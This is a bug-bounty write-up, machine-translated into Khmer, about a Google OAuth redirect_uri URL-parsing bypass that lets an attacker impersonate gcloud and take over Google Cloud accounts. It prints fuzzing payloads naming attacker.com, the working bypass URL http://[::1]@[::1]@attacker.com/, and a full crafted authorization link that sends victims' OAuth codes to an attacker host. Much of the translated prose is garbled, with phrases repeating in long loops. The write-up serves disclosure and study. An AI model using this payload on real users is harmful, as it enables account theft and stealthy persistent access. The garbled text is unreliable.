443 ការអាន
443 ការអាន

ការបាត់បង់ URL នេះអាចអនុញ្ញាតឱ្យអ្នកប្រឆាំងនឹងការពារ OAuth របស់ Google ។

ដោយ Mohamed Benchikh9m2025/05/06
Read on Terminal Reader

យូរ​ពេក; អាន

សៀវភៅនេះដំណើរការតាមរយៈការបញ្ចូលគណនី OAuth ដែលមានតែមួយគត់ដែលខ្ញុំបានរកឃើញចុងក្រោយដែលមានប្រសិទ្ធិភាពសម្រាប់សេវាកម្មមួយចំនួនរបស់ Google ។ វាត្រូវបានបង្កើតឡើងពីការបញ្ចូលគណនី URL នៅពេលដំណើរការគណនី redirect_uri OAuth ។ ការបញ្ចូលគណនី OAuth នេះអនុញ្ញាតឱ្យអ្នកបញ្ឈប់អនុញ្ញាតឱ្យអ្នកបញ្ឈប់អនុញ្ញាតឱ្យអ្នកបញ្ឈប់អនុញ្ញាតឱ្យអ្នកបញ្ឈប់អនុញ្ញាតឱ្យអ្នកបញ្ឈប់អនុញ្ញាតឱ្យអ្នកបញ្ឈប់អនុញ្ញាតឱ្យអ្នកបញ្ឈប់ការបញ្ឈប់ការបញ្ឈប់ការបញ្ឈប់ការបញ្ឈប់ការបញ្ឈប់ការបញ្ឈប់ការបញ្ឈប់ការបញ្ឈប់ការបញ្ឈប់ការបញ្ឈប់ការបញ្ឈប់។
featured image - ការបាត់បង់ URL នេះអាចអនុញ្ញាតឱ្យអ្នកប្រឆាំងនឹងការពារ OAuth របស់ Google ។
Mohamed Benchikh HackerNoon profile picture
0-item
1-item


TL;DR

អេឡិចត្រូនិ

សៀវភៅនេះបានដំណើរការតាមរយៈការបញ្ចូលគណនី OAuth ដែលខ្ញុំបានរកឃើញចុងក្រោយដែលមានប្រសិទ្ធភាពដល់សេវាកម្មមួយចំនួនរបស់ Google ។ វាត្រូវបានបង្កើតឡើងពីការបញ្ជាក់ URL នៅពេលដំណើរការredirect_uriទំហំ OAuth នេះអនុញ្ញាតឱ្យអ្នកប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំង។


Note:ការផ្លាស់ប្តូរនៃផ្នែកដំបូងនេះរួមបញ្ចូលទាំងការផ្លាស់ប្តូរទូទៅអំពី OAuth, ការបាត់បន្ថយ token, និងការបាត់បន្ថយ URL ។ ប្រសិនបើអ្នកមានបទពិសោធន៍ជាមួយគំនិតទាំងនេះហើយអ្នកគួរឱ្យចាប់អារម្មណ៍ក្នុងការបាត់បន្ថយការផ្លាស់ប្តូរSection 5: Google Cloud Account Takeover Case.

1 ការបង្កើត

OAuth 2.0 អនុញ្ញាតឱ្យកម្មវិធីទូទាំងបីដើម្បីចូលទៅក្នុងទិន្នន័យអ្នកប្រើដោយគ្មានការដំណើរការគោលបំណងដោយផ្ទាល់ដោយមានសេវាកម្មអនុញ្ញាត (ដូចជា Google) បានបង្កើត token ដែលត្រូវបានប្រើដោយកម្មវិធីទូទាំងបីដើម្បីស្វែងរកទិន្នន័យអ្នកប្រើឬធ្វើតេស្តជាគោលបំណងរបស់ពួកគេ។


ប៉ុន្តែ ប្រសិនបើredirect_uriទំហំនេះមិនត្រូវបានត្រួតពិនិត្យដោយការត្រួតពិនិត្យដោយការត្រួតពិនិត្យបច្ចុប្បន្ន។ អ្នកជោគជ័យអាចធ្វើឱ្យប្រាកដថាជាកម្មវិធីដែលមានឥតគិតថ្លៃនិងបាត់បង់អ្នកប្រើប្រាស់ក្នុងការបាត់បង់ tokens ការចូលរបស់ពួកគេ។


ក្នុងអត្ថបទនេះខ្ញុំនឹងដោះស្រាយអំពីរបៀបដែលខុសគ្នានៃការដោះស្រាយ URL ខុសគ្នានឹងអនុញ្ញាតឱ្យខ្ញុំធ្វើដូច្នេះ - នៅលើសេវាកម្មផ្សេងទៀតរបស់ Google - ជាមួយនឹងការដោះស្រាយទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលាយរបស់ Google Cloud ។

អ្វីដែល OAuth ធ្វើការ

ខណៈពេលដែល OAuth គឺជាប្រព័ន្ធប្រតិបត្តិការដែលមានភាពងាយស្រួលណាស់ដែលតម្រូវឱ្យជាប្រភេទនៃអត្ថបទដើម្បីទទួលបានអត្ថប្រយោជន៍ពេញលេញ, នៅទីនេះគឺជាការពិនិត្យឡើងវិញដែលមានភាពងាយស្រួល:


  1. Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).

  2. Redirect with Grant: After approval, the server redirects the user back to a predefined redirect_uri with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token).

  3. Request user data: The client app uses the token to access the user’s protected data from the resource server.


ដើម្បីធ្វើឱ្យប្រសិនបើអ្វីបានជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយ


Figure 1: Login to Medium using Google


Note:ក្នុងករណីជាច្រើនអ្នកផ្គត់ផ្គង់សេវាកម្មនិងអ្នកផ្គត់ផ្គង់សេវាកម្មគឺដូចគ្នា។

លក្ខណៈពិសេស OAuth Token Leakage

ប្រសិនបើអ្នកមើលដំណាក់កាលខាងលើ, ការផ្លាស់ប្តូរដែលមានភាពងាយស្រួលបំផុតគឺដំណាក់កាល 5 ដែលជាដំណាក់កាលដែលអ្នកផ្គត់ផ្គង់ការអនុញ្ញាតផ្គត់ផ្គង់ផ្គង់ផ្គត់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់redirect_uriសូមដឹងពីរបៀបដើម្បីផ្លាស់ប្តូរ token ។


ប្រសិនបើទំហំនេះមិនត្រូវបានត្រួតពិនិត្យយ៉ាងត្រឹមត្រូវ, អ្នកប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំង។


Figure 2: Google OAuth login flow


ជាទូទៅredirect_uriវាត្រូវបានត្រួតពិនិត្យឡើងវិញទៅជាទំហំមួយ – អ្នកមិនអាចបាត់បង់ URL ទាំងអស់នៅលើបណ្តាញត្រួតពិនិត្យឡើងវិញ។ ទោះបីជាយ៉ាងណាក៏ដោយវិធីសាស្រ្តត្រួតពិនិត្យអាចផ្លាស់ប្តូរតាមរយៈការអនុវត្តដោយផ្អែកលើតម្រូវការរបស់អាជីវកម្មហើយការបាត់បង់នៅក្នុងដំណើរការនេះអាចត្រូវបានប្រើប្រាស់។

មួយចំនួននៃគំរូដែលធម្មតា:


  • Strict Matching: ការប្រកួតប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែង URI ។
  • គោលបំណងនៃការអនុញ្ញាតឱ្យ URIs ដូចជា https://example.com/* ឬ https://*.example.com ។
  • អាសយដ្ឋាន Loopback: ជាទូទៅនៅក្នុងកម្មវិធីកុំព្យូទ័រដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយ។

លក្ខណៈពិសេសនៃ URL Parsing Confusion

ដោយសារតែមូលនិធិ 3986ទូទៅ URL ដែលមានរចនាសម្ព័ន្ធដូចខាងក្រោម


scheme://username:password@host:port/path?query#fragment


ទាំងអស់គ្នានេះមានលក្ខណៈពិសេសមួយ:


  • scheme: in web context it’s usually the protocol (e.g., http)

  • username:password: user credentials

  • host: the domain or IP address (e.g., google.com)

  • port: optional port number (e.g., 443)

  • path: the specific resource or endpoint (e.g., /login)

  • query: key-value pairs of parameters

  • fragment: a client side page reference


Note: host:portវាត្រូវបានផ្លាស់ប្តូរជាauthority, username:passwordពួកគេបាននិយាយថាជាuserinfo


នៅពេលដំបូងវាអាចមើលឃើញយ៉ាងងាយស្រួលដូច្នេះទេប៉ុន្តែការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀប។


Figure 3: Smuggling SMTP protocol over HTTP protocol (credit: Orange Tsai, Black Hat 2017)


អ្នកផ្គត់ផ្គង់អាចគិតថាតើ URL ដែលត្រូវបានដំណោះស្រាយនៅក្នុងវិធីដែលមានប្រសិទ្ធិភាពទូទៅនៅក្នុងសៀវភៅទាំងអស់ទេប៉ុន្តែការស្រាវជ្រាវទូលំទូលាយអំពី URL parsers បានបង្ហាញពីការប្រែប្រែប្រួលទាំងអស់។ នេះបានក្លាយជាការសុវត្ថិភាពពិតប្រាកដនៅក្នុងបញ្ហាដែលមានសុវត្ថិភាពដូចជា:


  • OAuth redirect URI validation

  • SSRF prevention

  • Proxy or CDN routing


ខាងក្រោមនេះគឺជាឧទាហរណ៍ដែល URL មួយតែមួយត្រូវបានព្យាបាលដោយផ្សេងគ្នានៅលើបី parsers ផ្សេងៗ។


Figure 4: URL Parsing Confusion (credit: Orange Tsai, Black Hat 2017)


ទោះបីជាអត្ថបទនេះមិនមែនជាការទាញយកអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតA New Era of SSRF — ការប្រើប្រាស់ URL Parser នៅក្នុងភាសាកម្មវិធីបណ្តុះបណ្តាល

ទិន្នន័យ Google Cloud Account Takeover

ប្រសិនបើអ្នកបានប្រើ Google Cloud មុនពេលនេះអ្នកអាចរកឃើញgcloudឧបករណ៍ CLI — ឧបករណ៍បន្ទាត់គោលបំណងដែលមានប្រសិទ្ធិភាពដែលត្រូវបានប្រើដើម្បីគ្រប់គ្រងឧបករណ៍ Google Cloud ។ លើសពីលក្ខណៈពិសេសផ្សេងទៀតវាអនុញ្ញាតឱ្យអ្នកប្រើដើម្បីអនុញ្ញាតឱ្យអ្នកត្រួតពិនិត្យដោយប្រើគណនី Google របស់ពួកគេតាមរយៈដំណើរការ OAuth ដែលមានមូលដ្ឋានលើបណ្តាញ។


នេះគឺដូច្នេះវាធ្វើការ:


  1. The user runs gcloud auth login

  2. gcloud spawns a local http server on a dynamic port (e.g., http://localhost:50000)

  3. gcloud opens a browser window directing the user to a Google OAuth authorization URL with redirect_uri set to the local server address

  4. The user authenticates and consents to the requested scopes

  5. Google redirects the user to redirect_uri containing the authorization code

  6. gcloud exchanges the authorization code for an access token

  7. gcloud uses the access token to perform actions on the user’s Google cloud account


សម្រាប់ដំណើរការនេះដើម្បីធ្វើការ, Google អនុញ្ញាតឱ្យ URLs loopback មួយចំនួន (ដូចជា http://localhost) សម្រាប់កម្មវិធីដើម, ដូច្នេះពួកគេត្រូវបានគេស្គាល់ថាមានសុវត្ថិភាពសម្រាប់ការប្រើប្រាស់ផ្ទាល់ខ្លួនហើយត្រូវបានគេស្គាល់ដោយផ្ទាល់ខ្លួន។


Figure 5: OAuth flow triggered by gcloud

A. ការយល់ដឹងអំពីផ្ទៃការជោគជ័យ

បន្ទាប់ពីបានឃើញ alocalhostការប្រើប្រាស់ជាredirect_uriសកម្មភាពដំបូងរបស់ខ្ញុំគឺដើម្បីផ្លាស់ប្តូរវាដោយ127.0.0.1និង[::1]នេះគឺជាដំណោះស្រាយសំខាន់ដូច្នេះវាបានបញ្ជាក់ថាតើ URLs គឺជាការពិតប្រាកដដែលត្រូវបានពិនិត្យឡើងវិញនិងប្រៀបធៀបដោយផ្ទាល់ខ្លួនហើយមិនមានការត្រួតពិនិត្យជាមូលដ្ឋានដូចជា:


if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
    return False


ដូច្នេះនៅទីនេះយើងមានដំណើរការទាំងពីរអ្វីដែលមានសំខាន់:


  1. The provided redirect_uri gets parsed and validated internally by Google’s backend.

  2. After a successful login and user consent, users get redirected to redirect_uri in the browser.


នេះមានន័យថាយើងមាន URL parsers មួយដែលត្រូវបានប្រើដោយ backend របស់ Google និង parser ដែលត្រូវបានប្រើដោយ browser របស់យើង (Chrome ក្នុងករណីរបស់ខ្ញុំ) ដូច្នេះប៉ុន្តែប្រសិនបើទាំងពីរ parsers នេះគឺដូចគ្នានេះមិនអាចត្រូវបានប្រើប្រាស់ដើម្បីទទួលបានការអនុញ្ញាត OAuth ទៅលើបណ្តាញដែលត្រូវបានគ្រប់គ្រងដោយអ្នកជោគជ័យ។


គោលបំណងនេះគឺយ៉ាងច្បាស់ហើយយើងត្រូវការរចនា URL ដែលនឹងត្រូវបានដំឡើងដោយប្រភេទផ្សេងគ្នានៅក្នុងរយៈពេល ២ វិនាទីក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី។


ទោះជាយ៉ាងណាក៏ដោយយើងមានបទពិសោធយ៉ាងតឹងមាំអំពី backend របស់ Google និងសៀវភៅដែលពួកគេកំពុងប្រើសម្រាប់ URLs ដែលពួកគេកំពុងប្រើសម្រាប់។



B. Fuzzing សម្រាប់ការឈ្នះ

អ្វីដែលខ្ញុំបានធ្វើបន្ទាប់នេះគឺជាការសរសេរសៀវភៅ Python ដែលនឹងផ្លាស់ប្តូរ URLs ផ្សេងៗដោយអនុវត្តបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តាល។


  • ទិន្នន័យនៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូល។
  • អាសយដ្ឋាន IP របស់អ្នក: 10.0.0.5, 192.168.5.3, 127.10.0.1
  • ប្រព័ន្ធ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ
  • ការប្រឆាំងនឹង CRLF: %0D%0A
  • ទិន្នន័យគ្រប់គ្រងរបស់អ្នក: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
  • អាសយដ្ឋានអាសយដ្ឋានអាសយដ្ឋានអាសយដ្ឋាន: http://AAAAAA...@127.0.0.1
  • លទ្ធផលនៃ DNS: 127.0.0.1.attacker.com
  • អាសយដ្ឋានអាសយដ្ឋាន: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
  • គម្រោង / ការដោះស្រាយ Fragment: Inject extra ? , & ឬ # មុន / បន្ទាប់ @
  • ការ rebinding DNS (ការធ្វើតេស្តដោយផ្ទាល់)


Figure 6: Fuzzing Google’s backend URL parser


បន្ទាប់ពីដំណើរការសៀវភៅសម្រាប់រយៈពេលមួយពេលហើយដល់ការគួរឱ្យចាប់អារម្មណ៍របស់ខ្ញុំ, មួយនៃការបញ្ហានេះដែលបានបង្កើតបានបានជោគជ័យដើម្បីកាត់បន្ថយការគួរឱ្យចាប់អារម្មណ៍ដែលខ្ញុំកំពុងស្វែងរក, ឆ្លើយតបរបស់ខ្ញុំគឺដូចខាងក្រោម:



ទោះជាយ៉ាងណាក៏ដោយប្រសិនបើអ្នកបានរកឃើញប្រសិនបើអ្នកបានរកឃើញប្រសិនបើអ្នកបានរកឃើញ:


http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/


ដែលអាចត្រូវបានកាត់បន្ថយទៅ:


http://[::1]@[::1]@attacker.com/


ប្រសិនបើអ្នកកំពុងធ្វើការសាកល្បង URL នេះដោយប្រើ Chrome, យើងទទួលបានលទ្ធផលដូចខាងក្រោម:


Figure 7: Google Chrome parsing our crafted URL


ជាផ្នែកដ៏អស្ចារ្យនៃhttp://[::1]@[::1]@attacker.com/នេះគឺជា URL ដែលមានលក្ខណៈពិសេសដើម្បីចាប់ផ្តើម។@គំនិតនេះត្រូវបានរក្សាទុកដើម្បីផ្លាស់ប្តូរuserinfoពីការhostnameChrome អនុញ្ញាតឱ្យកាត់បន្ថយការកាត់បន្ថយនេះដោយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយ@ដូច្នេះប្រសិនបើអ្នកធ្វើដូចម្តេចដើម្បីធ្វើឱ្យប្រសិនបើអ្វីគ្រប់យ៉ាង@នៅពេលដែលចុងក្រោយនេះគឺជា URL-coded ។


ដោយផ្អែកលើការធ្វើតេស្តពិសោធន៍ជាមួយនឹងការផ្លាស់ប្តូរប្រសិទ្ធិភាព, វាត្រូវបានបង្ហាញថាតើ Google របស់ backend parser មិនបានកូដប្រសិទ្ធិភាពប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រស@ដូចគ្នានេះជាការផ្លាស់ប្តូរ។ បន្ទាប់ពីផ្លាស់ប្តូរ@ទោះជាយ៉ាងណាក៏ដោយក្រុមហ៊ុន Parser បានបង្ហាញពីuserinfoនិងhostnameពីទីតាំងស្ថិតយ៉ាងច្បាស់លាស់ដោយការបាត់បង់ការបាត់បង់ច្បាស់លាស់attacker.com.


Figure 8: Chrome parsing our payload


Figure 9: Google’s backend parsing our payload


វាគឺជាការគួរឱ្យចាប់អារម្មណ៍ក្នុងការប្រើប្រាស់ IPv6 ។ នៅពេលប្រើ IPv4 ។http://127.0.0.1@127.0.0.1@attacker.com) វាត្រូវបានធ្វើការដូចគ្នានៅពេលដែលវាត្រូវបានគេស្គាល់ថាការមិនសម្តែងនេះគឺមានលក្ខណៈពិសេសសម្រាប់លក្ខណៈពិសេស IPv6 ។

C. ទាញយកទាំងអស់គ្នា

ឥឡូវនេះវេជ្ជសាស្រ្តរបស់យើងបានកំណត់យ៉ាងឆាប់រហ័ស, យើងអាចបង្ហាញgcloudcli utility និង trick អ្នកប្រើប្រាស់ដើម្បីធ្វើឱ្យប្រាកដថាពួកគេបានធ្វើឱ្យប្រាកដទៅgcloud.

ការដោះស្រាយនេះត្រូវបានដោះស្រាយដូចនេះ:

  1. គោលបំណងការអនុញ្ញាត OAuth ដែលមានប្រសិទ្ធិភាពនិងផ្ញើអ៊ីនធឺណិតរបស់វា (កូដប្លុកខាងក្រោម) ទៅដល់ភ្ញៀវ។
  2. ការទទួលបានការត្រួតពិនិត្យ OAuth សម្រាប់អតិថិជន Google Cloud SDK (រូបថត 9)
  3. អ្នកចូលរួមនិងទទួលបានអត្ថប្រយោជន៍ដែលបានចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចាយចែកចែកចែកចែកចែកចាយ
  4. អ្នកទទួលបានការបង្វិលទៅកាន់ក្រុមហ៊ុនផ្គត់ផ្គង់ OAuth ដែលពួកគេបានបង្កើតឡើង
  5. យើងប្រើការអនុញ្ញាត OAuth ដើម្បីអនុវត្តការទូរស័ព្ទ API នៅលើគណនីរបស់អ្នកនៅក្នុងឈ្មោះរបស់អ្នក


https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256



Figure 10: Google OAuth consent page


ខាងក្រោមនេះគឺជារូបភាពនៃការហោះហោះហើរដែលបានផ្តល់ជូន


Figure 11: OAuth account takeover by impersonating gcloud


ពីគោលបំណងរបស់អ្នកប្រើប្រាស់វានឹងមើលឃើញថាវាជាការត្រួតពិនិត្យឡើងវិញទៅgcloudដូច្នេះប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បានgcloudដូច្នេះយើងមានប្រសិទ្ធភាពក្នុងការបាត់បន្ថយការត្រួតពិនិត្យទាំងពីរផ្នែកក្នុងការគិតថាការត្រួតពិនិត្យនេះគឺជាដំណើរការត្រួតពិនិត្យដែលមានប្រសិទ្ធិភាពនៅពេលដែល token ការត្រួតពិនិត្យចុងក្រោយនេះត្រូវបានបាត់បន្ថយទៅក្នុងក្រុមហ៊ុនត្រួតពិនិត្យរបស់យើង។


គោលបំណងនេះនឹងផ្តល់ឱ្យយើងនូវការចូលដោយមិនត្រឹមត្រូវនៅលើទិន្នន័យនៃការទទួលបានអត្ថប្រយោជន៍របស់ពួកគេដោយអនុញ្ញាតឱ្យយើងអនុវត្តសកម្មភាពដែលមានគុណភាពខ្ពស់ផងដែរ។


អ្វីដែលបានធ្វើឱ្យការហោះហើរនេះមានភាពធ្ងន់ធ្ងរជាងនេះគឺ:


  1. Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.

  2. Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal gcloud application might request (we can only request scopes that are available but not actively requested)


ដូចដែលបាននិយាយនៅក្នុងការចាប់ផ្តើមនៃសៀវភៅនេះgcloudនេះគឺជាកម្មវិធីមួយតែមួយដែលមានសុវត្ថិភាព, នៅខាងក្រោមនេះគឺជាកម្មវិធីផ្សេងទៀតដែលខ្ញុំបានរកឃើញថាមានសុវត្ថិភាពផងដែរ:


  • Google Drive Desktop Client

  • Firebase Desktop Client

  • Windows Mail (3rd-party app)


Google ឆ្លើយតបយ៉ាងឆាប់រហ័ស, បាននិយាយអំពីភាពធ្ងន់ធ្ងរក្នុងរយៈពេល 72 ម៉ោង, និងបានផ្តល់ប្រាក់រង្វាន់ភាពធ្ងន់ធ្ងរ។


Figure 12: Google acknowledging the vulnerability


6 ការបញ្ចប់

ការស្រាវជ្រាវនេះបង្ហាញពីរបៀបដែលអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិច


